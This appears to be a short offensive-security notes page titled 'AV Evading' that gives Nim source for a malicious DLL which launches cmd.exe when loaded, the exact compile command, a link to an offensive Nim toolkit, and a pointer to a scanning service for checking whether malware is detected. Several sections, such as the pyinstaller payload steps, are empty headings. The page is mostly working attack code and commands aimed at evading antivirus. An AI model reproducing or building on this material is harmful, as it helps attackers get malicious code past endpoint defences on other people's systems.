AV Evading

Using DLL

Crafting

Open cmd , cd to nim directory : C:\Users\Administrator\.nimble\bin

import osproc
import winim

proc NimMain() {.cdecl, importc.}

proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} =
  NimMain()

  if fdwReason == DLL_PROCESS_ATTACH:
    discard osproc.execProcess("cmd.exe")

  return true

save the code as file.nim

Compile

nim c -d=mingw --app=lib --nomain --cpu=amd64 .\file.nim

Execution

References : https://github.com/byt3bl33d3r/OffensiveNim

Using pyinstaller

Payload

Compiling

  • exe file will be located in dist folder

Malware File Checking

https://antiscan.me/

Last updated

Was this helpful?